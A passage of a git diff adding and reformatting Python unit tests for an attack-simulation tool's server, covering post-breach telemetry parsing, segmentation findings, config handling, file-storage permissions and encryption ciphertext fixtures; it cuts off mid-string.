dispatcher.dispatch_collector_results_to_relevant_processors(good_telem_no_collectors) dispatcher.dispatch_collector_results_to_relevant_processors(good_telem_empty_collectors) @@ -50,7 +54,7 @@ class TestSystemInfoTelemetryDispatcher: "AwsCollector": {"instance_id": instance_id}, } }, - "monkey_guid": a_monkey.guid + "monkey_guid": a_monkey.guid, } dispatcher.dispatch_collector_results_to_relevant_processors(telem_json) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/test_post_breach.py b/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/test_post_breach.py new file mode 100644 index 000000000..f6d33b930 --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/test_post_breach.py @@ -0,0 +1,76 @@ +from unittest.mock import Mock + +import monkey_island.cc.services.telemetry.processing.post_breach as post_breach +from monkey_island.cc.services.telemetry.processing.post_breach import EXECUTION_WITHOUT_OUTPUT + +original_telem_multiple_results = { + "data": { + "command": "COMMAND", + "hostname": "HOST", + "ip": "127.0.1.1", + "name": "PBA NAME", + "result": [["SUCCESSFUL", True], ["UNSUCCESFUL", False], ["", True]], + }, + "telem_category": "post_breach", +} + +expected_telem_multiple_results = { + "data": [ + { + "command": "COMMAND", + "hostname": "HOST", + "ip": "127.0.1.1", + "name": "PBA NAME", + "result": ["SUCCESSFUL", True], + }, + { + "command": "COMMAND", + "hostname": "HOST", + "ip": "127.0.1.1", + "name": "PBA NAME", + "result": ["UNSUCCESFUL", False], + }, + { + "command": "COMMAND", + "hostname": "HOST", + "ip": "127.0.1.1", + "name": "PBA NAME", + "result": [EXECUTION_WITHOUT_OUTPUT, True], + }, + ], + "telem_category": "post_breach", +} + +original_telem_single_result = { + "data": { + "command": "COMMAND", + "hostname": "HOST", + "ip": "127.0.1.1", + "name": "PBA NAME", + "result": ["", True], + }, + "telem_category": "post_breach", +} + +expected_telem_single_result = { + "data": [ + { + "command": "COMMAND", + "hostname": "HOST", + "ip": "127.0.1.1", + "name": "PBA NAME", + "result": [EXECUTION_WITHOUT_OUTPUT, True], + }, + ], + "telem_category": "post_breach", +} + + +def test_process_post_breach_telemetry(): + post_breach.update_data = Mock() # actual behavior of update_data() is to access mongodb + # multiple results in PBA + post_breach.process_post_breach_telemetry(original_telem_multiple_results) + assert original_telem_multiple_results == expected_telem_multiple_results + # single result in PBA + post_breach.process_post_breach_telemetry(original_telem_single_result) + assert original_telem_single_result == expected_telem_single_result diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/test_segmentation_checks.py b/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/zero_trust_checks/test_segmentation_checks.py similarity index 63% rename from monkey/monkey_island/cc/services/telemetry/zero_trust_checks/test_segmentation_checks.py rename to monkey/tests/unit_tests/monkey_island/cc/services/telemetry/zero_trust_checks/test_segmentation_checks.py index ca58549d1..aa67a5175 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/test_segmentation_checks.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/zero_trust_checks/test_segmentation_checks.py @@ -4,8 +4,12 @@ import common.common_consts.zero_trust_consts as zero_trust_consts from monkey_island.cc.models import Monkey from monkey_island.cc.models.zero_trust.event import Event from monkey_island.cc.models.zero_trust.finding import Finding -from monkey_island.cc.services.telemetry.zero_trust_checks.segmentation import create_or_add_findings_for_all_pairs -from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import MonkeyZTFindingService +from monkey_island.cc.services.telemetry.zero_trust_checks.segmentation import ( + create_or_add_findings_for_all_pairs, +) +from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import ( + MonkeyZTFindingService, +) FIRST_SUBNET = "1.1.1.1" SECOND_SUBNET = "2.2.2.0/24" @@ -13,13 +17,10 @@ THIRD_SUBNET = "3.3.3.3-3.3.3.200" class TestSegmentationChecks: - def test_create_findings_for_all_done_pairs(self): all_subnets = [FIRST_SUBNET, SECOND_SUBNET, THIRD_SUBNET] - monkey = Monkey( - guid=str(uuid.uuid4()), - ip_addresses=[FIRST_SUBNET]) + monkey = Monkey(guid=str(uuid.uuid4()), ip_addresses=[FIRST_SUBNET]) # no findings assert len(Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION)) == 0 @@ -28,8 +29,9 @@ class TestSegmentationChecks: create_or_add_findings_for_all_pairs(all_subnets, monkey) # There are 2 subnets in which the monkey is NOT - zt_seg_findings = Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION, - status=zero_trust_consts.STATUS_PASSED) + zt_seg_findings = Finding.objects( + test=zero_trust_consts.TEST_SEGMENTATION, status=zero_trust_consts.STATUS_PASSED + ) # Assert that there's only one finding with multiple events (one for each subnet) assert len(zt_seg_findings) == 1 @@ -39,17 +41,23 @@ class TestSegmentationChecks: MonkeyZTFindingService.create_or_add_to_existing( status=zero_trust_consts.STATUS_FAILED, test=zero_trust_consts.TEST_SEGMENTATION, - events=[Event.create_event(title="sdf", - message="asd", - event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK)] + events=[ + Event.create_event( + title="sdf", + message="asd", + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, + ) + ], ) - zt_seg_findings = Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION, - status=zero_trust_consts.STATUS_PASSED) + zt_seg_findings = Finding.objects( + test=zero_trust_consts.TEST_SEGMENTATION, status=zero_trust_consts.STATUS_PASSED + ) assert len(zt_seg_findings) == 1 - zt_seg_findings = Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION, - status=zero_trust_consts.STATUS_FAILED) + zt_seg_findings = Finding.objects( + test=zero_trust_consts.TEST_SEGMENTATION, status=zero_trust_consts.STATUS_FAILED + ) assert len(zt_seg_findings) == 1 zt_seg_findings = Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_bootloader_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_bootloader_service.py new file mode 100644 index 000000000..25869fd29 --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_bootloader_service.py @@ -0,0 +1,24 @@ +from unittest import TestCase + +from monkey_island.cc.services.bootloader import BootloaderService + +MIN_GLIBC_VERSION = 2.14 + + +class TestBootloaderService(TestCase): + def test_is_glibc_supported(self): + str1 = "ldd (Ubuntu EGLIBC 2.15-0ubuntu10) 2.15" + str2 = "ldd (GNU libc) 2.12" + str3 = "ldd (GNU libc) 2.28" + str4 = "ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23" + self.assertTrue( + not BootloaderService.is_glibc_supported(str1) + and not BootloaderService.is_glibc_supported(str2) + and BootloaderService.is_glibc_supported(str3) + and BootloaderService.is_glibc_supported(str4) + ) + + def test_remove_local_ips(self): + ips = ["127.1.1.1", "127.0.0.1", "192.168.56.1"] + ips = BootloaderService.remove_local_ips(ips) + self.assertEqual(["192.168.56.1"], ips) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py new file mode 100644 index 000000000..799fc40e1 --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py @@ -0,0 +1,30 @@ +import pytest + +from monkey_island.cc.services.config import ConfigService + +# If tests fail because config path is changed, sync with +# monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js + + +class MockClass: + pass + + +@pytest.fixture(scope="function", autouse=True) +def mock_port_in_env_singleton(monkeypatch, PORT): + mock_singleton = MockClass() + mock_singleton.env = MockClass() + mock_singleton.env.get_island_port = lambda: PORT + monkeypatch.setattr("monkey_island.cc.services.config.env_singleton", mock_singleton) + + +def test_set_server_ips_in_config_command_servers(config, IPS, PORT): + ConfigService.set_server_ips_in_config(config) + expected_config_command_servers = [f"{ip}:{PORT}" for ip in IPS] + assert config["internal"]["island_server"]["command_servers"] == expected_config_command_servers + + +def test_set_server_ips_in_config_current_server(config, IPS, PORT): + ConfigService.set_server_ips_in_config(config) + expected_config_current_server = f"{IPS[0]}:{PORT}" + assert config["internal"]["island_server"]["current_server"] == expected_config_current_server diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_config_manipulator.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_config_manipulator.py new file mode 100644 index 000000000..12cd44c10 --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_config_manipulator.py @@ -0,0 +1,26 @@ +from monkey_island.cc.services.config_manipulator import update_config_on_mode_set +from monkey_island.cc.services.mode.mode_enum import IslandModeEnum + + +def test_update_config_on_mode_set_advanced(config, monkeypatch): + monkeypatch.setattr("monkey_island.cc.services.config.ConfigService.get_config", lambda: config) + monkeypatch.setattr( + "monkey_island.cc.services.config.ConfigService.update_config", + lambda config_json, should_encrypt: config_json, + ) + + mode = IslandModeEnum.ADVANCED + manipulated_config = update_config_on_mode_set(mode) + assert manipulated_config == config + + +def test_update_config_on_mode_set_ransomware(config, monkeypatch): + monkeypatch.setattr("monkey_island.cc.services.config.ConfigService.get_config", lambda: config) + monkeypatch.setattr( + "monkey_island.cc.services.config.ConfigService.update_config", + lambda config_json, should_encrypt: config_json, + ) + + mode = IslandModeEnum.RANSOMWARE + manipulated_config = update_config_on_mode_set(mode) + assert manipulated_config["monkey"]["post_breach"]["post_breach_actions"] == [] diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_post_breach_files.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_post_breach_files.py new file mode 100644 index 000000000..90a649a39 --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_post_breach_files.py @@ -0,0 +1,75 @@ +import os + +import pytest +from tests.monkey_island.utils import assert_windows_permissions +from tests.utils import raise_ + +from monkey_island.cc.server_utils.file_utils import is_windows_os +from monkey_island.cc.services.post_breach_files import PostBreachFilesService + + +@pytest.fixture(autouse=True) +def custom_pba_directory(tmpdir): + PostBreachFilesService.initialize(tmpdir) + + +def create_custom_pba_file(filename): + PostBreachFilesService.save_file(filename, b"") + + +def test_remove_pba_files(): + create_custom_pba_file("linux_file") + create_custom_pba_file("windows_file") + + assert not dir_is_empty(PostBreachFilesService.get_custom_pba_directory()) + PostBreachFilesService.remove_PBA_files() + assert dir_is_empty(PostBreachFilesService.get_custom_pba_directory()) + + +def dir_is_empty(dir_path): + dir_contents = os.listdir(dir_path) + return len(dir_contents) == 0 + + +@pytest.mark.skipif(is_windows_os(), reason="Tests Posix (not Windows) permissions.") +def test_custom_pba_dir_permissions_linux(): + st = os.stat(PostBreachFilesService.get_custom_pba_directory()) + + assert st.st_mode == 0o40700 + + +@pytest.mark.skipif(not is_windows_os(), reason="Tests Windows (not Posix) permissions.") +def test_custom_pba_dir_permissions_windows(): + pba_dir = PostBreachFilesService.get_custom_pba_directory() + + assert_windows_permissions(pba_dir) + + +def test_remove_failure(monkeypatch): + monkeypatch.setattr(os, "remove", lambda x: raise_(OSError("Permission denied"))) + + try: + create_custom_pba_file("windows_file") + PostBreachFilesService.remove_PBA_files() + except Exception as ex: + pytest.fail(f"Unxepected exception: {ex}") + + +def test_remove_nonexistant_file(monkeypatch): + monkeypatch.setattr(os, "remove", lambda x: raise_(FileNotFoundError("FileNotFound"))) + + try: + PostBreachFilesService.remove_file("/nonexistant/file") + except Exception as ex: + pytest.fail(f"Unxepected exception: {ex}") + + +def test_save_file(): + FILE_NAME = "test_file" + FILE_CONTENTS = b"hello" + PostBreachFilesService.save_file(FILE_NAME, FILE_CONTENTS) + + expected_file_path = os.path.join(PostBreachFilesService.get_custom_pba_directory(), FILE_NAME) + + assert os.path.isfile(expected_file_path) + assert FILE_CONTENTS == open(expected_file_path, "rb").read() diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_representations.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_representations.py new file mode 100644 index 000000000..c088c3dce --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_representations.py @@ -0,0 +1,46 @@ +from datetime import datetime +from unittest import TestCase + +import bson + +from monkey_island.cc.services.representations import normalize_obj + + +class TestRepresentations(TestCase): + def test_normalize_obj(self): + # empty + self.assertEqual({}, normalize_obj({})) + + # no special content + self.assertEqual({"a": "a"}, normalize_obj({"a": "a"})) + + # _id field -> id field + self.assertEqual({"id": 12345}, normalize_obj({"_id": 12345})) + + # obj id field -> str + obj_id_str = "123456789012345678901234" + self.assertEqual( + {"id": obj_id_str}, normalize_obj({"_id": bson.objectid.ObjectId(obj_id_str)}) + ) + + # datetime -> str + dt = datetime.now() + expected = {"a": str(dt)} + result = normalize_obj({"a": dt}) + self.assertEqual(expected, result) + + # dicts and lists + self.assertEqual( + {"a": [{"ba": obj_id_str, "bb": obj_id_str}], "b": {"id": obj_id_str}}, + normalize_obj( + { + "a": [ + { + "ba": bson.objectid.ObjectId(obj_id_str), + "bb": bson.objectid.ObjectId(obj_id_str), + } + ], + "b": {"_id": bson.objectid.ObjectId(obj_id_str)}, + } + ), + ) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/utils/ciphertexts_for_encryption_test.py b/monkey/tests/unit_tests/monkey_island/cc/services/utils/ciphertexts_for_encryption_test.py new file mode 100644 index 000000000..0fa7131e0 --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/services/utils/ciphertexts_for_encryption_test.py @@ -0,0 +1,132 @@ +VALID_CIPHER_TEXT = ( + "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" + "5pnm3dizp6Q=" +) + +MALFORMED_CIPHER_TEXT_CORRUPTED = ( + "QUVTAgAAGM0NKEYTESTURfQlkAcHlBZXNDcnlwdCA2LjAuMACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHEWlHUF5GTDFdrlGaUbFqGOBHE" + "/zlrkug3ee3t1iMe2ByaoBdb9O8X5bFEBUuiPSFUNe3f4YvgwCMx4Txh3Mzx" + "/LxxNioWSwon9gDw8JckpuMLJtmtdwDybpDtedF33XWBHgEpMlfyF" + "/phin3sVMWGApptTnGbzmP9o0c6toxwmZV5YcHAtoMsWh3WqpsdcmX5PwwrKt0vdYNwpX+bDOxdB7YJizWqYt" + "+505168UPbDFHhJ7lCXJ3lr56" + "/7ZwNF4NasjqehafV01KtuNhNT47wdyavI8EYGZmBhqVCTq79XzwY1OmqEgpaesaiyeJmeZwkf5/8OVYNEhA+ybixHF" + "/RCeBSUnjiTHRF+RyIX8OfY" + "/LTPNmpjbLcZ1fyP5F1VVwlNLeY1MBg3q0tzFy4NsgsvHdWAzeb1wCqAnKZrhCQ36DAaWrzH96tG4ARIFLqg1" + "+99b3Gk27UBGjYSfcTRTUU+tmj+ByfHk3DCVeX35MOFBWu7BCrw99PdlHdhIyGVE4pKgTj" + "+sKvQI60cUNznxk484dkbpKG7gQH7PHaf7xTYd543ByAs9LSIHjV3UBG" + "/h9DzlLlNl8sZgwwnQxE69yoPy4Nr9unbav4dGqXNWFkyTlqZfJ0GzzvhPL2DRRX0V18CuerYEdIv" + "/a7dh8cuy7CVVZ7BEG59INVkpo8XwJIFHJjQzvD+gUWQ4zXB+C15AogGCx" + "/7jWLAdpi36VjA03Avl6rxui55akq3d3gtsn0bSxmrhCgDteNB+x1" + "+r0WzN1gz4qsY8EejbGmgzJMC8l6TZFudU9FCpTy7XSQJlJ70Peg" + "/huVdayRYrzeuHb7j8XMXnyBiab19CUQ5q5u6kiRTl3X1umCK1Wkqk3CItpsbuPlXs7" + "+f3qNhf2ilVtsYKtNEnbY7HGo1e8nziV3ifa1YYNxOTD23A/UGpXHVm0aaXE8ywMFOqXIgjs30oYv5GFQ7L1DT" + "/ktL0a2u4ZFtFZq+6TS52+COU9bkwX+zVvKehiMf+xBINpW0+I1yEUTSr9vvpYmxi1ZY2DLzXm75vWXu5uQA" + "/pciFJiuAhfCn+DJFUHsT0LcMjHcnbtYrX8iqIPZpJMXAzhNNKBiq5pZMCfBvxLr5cOQLADj30TyrEpT+h" + "+YCDx1hVgDnoEeihpQotc3P5gQf50fJ5K236JSszgXPhZVTCc2GO7y9cVmE9OYUEgD3hDOODNN/3t8xXImVDHG" + "+h6TVhi7rKUdap767GQ1b4TUnolx3" + "/C5yuwhjn6OArIWSOdmgy5IXUleoiPn5XFhpfPuTNGfBpx6CJSSzhrUdp3GaY5iDmS082ifU3DutPUX6bFfqD5sd" + "jfzt4TOES7yR96NYvc8I7RMwd01KpzGFQpjp77yIEbSPEnCMZWqLZaBWVX9jml8z03DAQ1u/ksMlx6p3l4BGWNMLmpX" + "1Fim7GzGi5PcjohUtAp1B7ZmZKvIKwFmuYdGjrD9EvfKbddm/KuuTinccOvlswLu" + "+s66H0aMUSxXbdHkgJoaZeVupIAX1rv7hEQWzxoSaBughm+EqAXy30E2LV52Q3obQ8JRJwMn" + "/p1W0iIKsR9g4VmgCElW4CMU0zIpc6Aiu6LkRhRuLbq6i2dB1k71QOmdARJdXAq929DyYR9gvkoYrFuX1Rmb818" + "ETZysvSdchVQIA4YkD13ia3As49cIJAyniHMDs4t9q00VkBIUtaoFGc+P7fn/1pp7UfPm6XSyt1hfQDgNA/VM8" + "jdL5503oXT/9zfeDXnuAkw2JX9neEG3CU8hUXSP7/sHhhmOnEtrasKXNVaTBCh/+YOFZ9BTmuVe+8qr2J62Aiu9K" + "nN7dm+fHv2ioMDiYguaQ/iyrNjkZ13n2xlVPB2LxdSVIn/bQZy6eSTqLZ33CwSG6G0jGNhz72tWRNEgAYS6vrHaqS" + "OmagKAetVugXAE4OQGWqy5o1SXKM/HJXLBhYmC6DyUIXKFXdvf9AHEDIra9HwQX2R2sQd+nyJrvf+8R/AdNocncZ23" + "03VPrzrYfq/1pDOIItDwrWcX4lBaWeVikPsvLPMOOXSX9CD73OddQ9b/2zyG2lNl/WCqgvV6xasqbFg74X2YEvBNXE" + "g+rufRiPTs/aeUmlAN0pxkncpGFCUhQwDrFJqQA88BJX+pMNsUXlVGrZEFiGMJNiVS5eA/qQRFcMvf0bECg7ZjgKli" + "YnbS+JLsyymZ+vpPxDI1sAPU003t/w1cj3ZFYn0Gye3gvm5ZZ5v5SCAtuS" + "+pQ6gDLtrhk9gdv5W4Nxdp0OuPFXrMwf6F8MfCoXs15RCgd2tG2zCFvhuQ4Ejc48g+ihqiOQsH4XXIwv" + "+u51A5PlydD7sV3MIPEgssV1b7NXq8qXLbNqlM/cmEAWlGlZfl0ZO/AFFyYMlGX9oekpA62D3DfJFaju8++QaY24oW6" + "/aGFcPOMwky+aW7zMDYrNLlQT/cosO5WGaisIGrPqNipBIjudhna35dTAHJR4lv6lK7bSKVzIhxNIlfa3hFYx4u3X" + "+3Kh9LxRXHy4z13Pv1yxDx6ipCLqwqUP9ybmnV6G/uRJJt47Ay/D06vbETRX2yy5lRjvwjp44NiXQxVYwdMuU9Y2uL" + "/GOb+LIsVNVIwl7Li3p09I2UzDcxIPs4KOSsP6E/6imAQVqLNsHUPePUjfcX5tp9+UkGTau0zDGy" + "+5A1SvvaL4saiv5GMYmTuX4ztgR3/RATWHvKNue7a1P/VGWu6WH4bQwu2P2nZZjzp63kgAOWo+UURYsiZEoIIM" + "+3aD5X09nOqkWt4p3UriW2ReWYzl6B+eHc0yYOy0TsUZArMJ8nWmkvWj3WoBayEplTGGpCHR3KDntFrALKRZ7Y" + "+SRIww0Y2ur/BtV2v/FLfv0iBycHFaX/73U+pw6oUIjGJ4XfOVPx3Cau9mr3TgYV" + 